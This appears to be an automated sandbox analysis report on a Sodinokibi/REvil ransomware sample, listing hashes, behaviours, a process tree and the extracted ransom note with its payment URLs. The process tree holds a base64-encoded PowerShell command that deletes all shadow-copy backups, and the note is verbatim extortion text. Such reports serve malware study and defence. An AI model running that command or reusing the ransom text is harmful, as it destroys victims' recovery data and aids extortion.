Analysis

  • max time kernel
    152s
  • max time network
    164s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    24-01-2022 00:53

General

  • Target

    dd7c40b211a54f1c860c85af0f488cf3aab9608041294f281261b636b59e494d.exe

  • Size

    164KB

  • MD5

    0bcaab2d6aae4221ae17527874cd1167

  • SHA1

    682cef7ee433feb06c1db1d445f9618eeff5eb95

  • SHA256

    dd7c40b211a54f1c860c85af0f488cf3aab9608041294f281261b636b59e494d

  • SHA512

    72a089cf1294ef7fc6d2f0b3e706e46b99be97bbb9f018f45f5c954673006f3f8bda683f7b62f0de91202f5873ff0abe23befc8e2558ef3283c6d13e74a9e08e

Malware Config

Extracted

Path

C:\nq5ip-readme.txt

Family

sodinokibi

Ransom Note
---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on you computer has expansion nq5ip. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/E4A8D5055995B9DE 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.top/E4A8D5055995B9DE Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: qjRUD3yL+QCo1+DMrBaUQbAfVRfuUUUw/64V1nORrfrtR1Azi9/s2ZmD87wRK1jZ rP53Wqzk/+IqK+mLMfQcsDcbRiLGX0DQHWJqOEroE/b/OvUrKS+/ZjYFbKEahRWL Ph724U7KHfAMJUj/7rYOIxSlPCMhHQM0ng0IOG+RvODO6Xdp/UVkVVmk2Hs/ZlT4 TDkVOKG8CB/U1sTrbA8bE+hWWtZgKt9cVwSX8/tzxcP/phAM9ClVCDoh7hxrGutS Pd/282ZSUcELTkKklKIFrs+AYAyxyFQgVd0dHD1WuU3hiEPzdqnMI07LLt/r/Osm X+BplXHUIof7yGgsO0LhLyTGZQAxsE29zMfoh4jmdg6YuRjWrbblCmxEUIe871mm MATbqPCsxJobJsfWCcFioNEg2JJBApl9dc1vFLua2bvTahewCh/TFnO1tMCF43zD XJKx+KKxFcVZ2GcafzVaqgwDNBhr3ltXyBH/hcu5gO41T49D1e+TGAvIsWPqaJcF KToScXK7otDtTQHb1xi/SlIKCRoDKTF3EC1Xo6zQA+OELuOnvLBzrAwmVwUOXcbJ Fayeadx0X030VyeUTdXgNQXduBIG/yELdrj2oLXyWhg4pu7XZJAyqecZaR+D993D Lhytf1VfgkgKqSD7MUGOh682q6T1oOf/UadIJgTSHW5QWOy4ZBUt09wGBWPQySai RxkuoJIjsmbbtPXnKnr03IO8VM5tNc+PacScKOrPz+ViZsYQWmIf9Sctd6JRgtss WcqG5nzUBFJzdNWKorG44j3EScca/flzf/wh3ucz9ZLBfpJBDE/JXoB/a3XnbR79 GP+pDcl46O9A0+Zfyaio5Y3MUFGlld6MoftfpljK1z91iXtyGaDseb8TTaVGr8Mx ASuUWwoZW+HqVMssSVOjRjqSK2PqzaV4+eyPliWWNHJT7W91OudRysVXmPRCtKdI hd5EEKlWGgjF5e8epeLPuv4SpqUwsNzNmpdOl8NRY/1jY34ljL5z0lkA6ghE3i+Z cSi1Qx0YVmr75h/xUk1zOcLpnlYpepFt5iC2u3G4dg23FLZ9ucu8VX8cKiJ9Yigx KsU/q1zhYDly7n8oNPvq5FxWxTSW5gFvhQrB1RtlSWO1MDF8vlSg9AwaK3+MgFY2 +OQ= Extension name: nq5ip ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!
URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/E4A8D5055995B9DE

http://decryptor.top/E4A8D5055995B9DE

Signatures

  • Sodin,Sodinokibi,REvil

    Ransomware with advanced anti-analysis and privilege escalation functionality.

  • Modifies extensions of user files 4 IoCs

    Ransomware generally changes the extension on encrypted files.

  • Adds Run key to start application 2 TTPs 2 IoCs
  • Enumerates connected drives 3 TTPs 25 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in System32 directory 1 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Drops file in Program Files directory 34 IoCs
  • Modifies system certificate store 2 TTPs 4 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\dd7c40b211a54f1c860c85af0f488cf3aab9608041294f281261b636b59e494d.exe
    "C:\Users\Admin\AppData\Local\Temp\dd7c40b211a54f1c860c85af0f488cf3aab9608041294f281261b636b59e494d.exe"
    1⤵
    • Modifies extensions of user files
    • Adds Run key to start application
    • Enumerates connected drives
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • Drops file in Program Files directory
    • Modifies system certificate store
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1888
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1468
  • C:\Windows\system32\wbem\unsecapp.exe
    C:\Windows\system32\wbem\unsecapp.exe -Embedding
    1⤵
      PID:1388
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:1100

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

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    Downloads

    • memory/1468-55-0x000007FEFB711000-0x000007FEFB713000-memory.dmp
      Filesize

      8KB

    • memory/1468-57-0x00000000023F0000-0x00000000023F2000-memory.dmp
      Filesize

      8KB

    • memory/1468-58-0x00000000023F2000-0x00000000023F4000-memory.dmp
      Filesize

      8KB

    • memory/1468-59-0x00000000023F4000-0x00000000023F7000-memory.dmp
      Filesize

      12KB

    • memory/1468-56-0x000007FEF2830000-0x000007FEF338D000-memory.dmp
      Filesize

      11.4MB

    • memory/1468-60-0x00000000023FB000-0x000000000241A000-memory.dmp
      Filesize

      124KB

    • memory/1888-54-0x0000000075D61000-0x0000000075D63000-memory.dmp
      Filesize

      8KB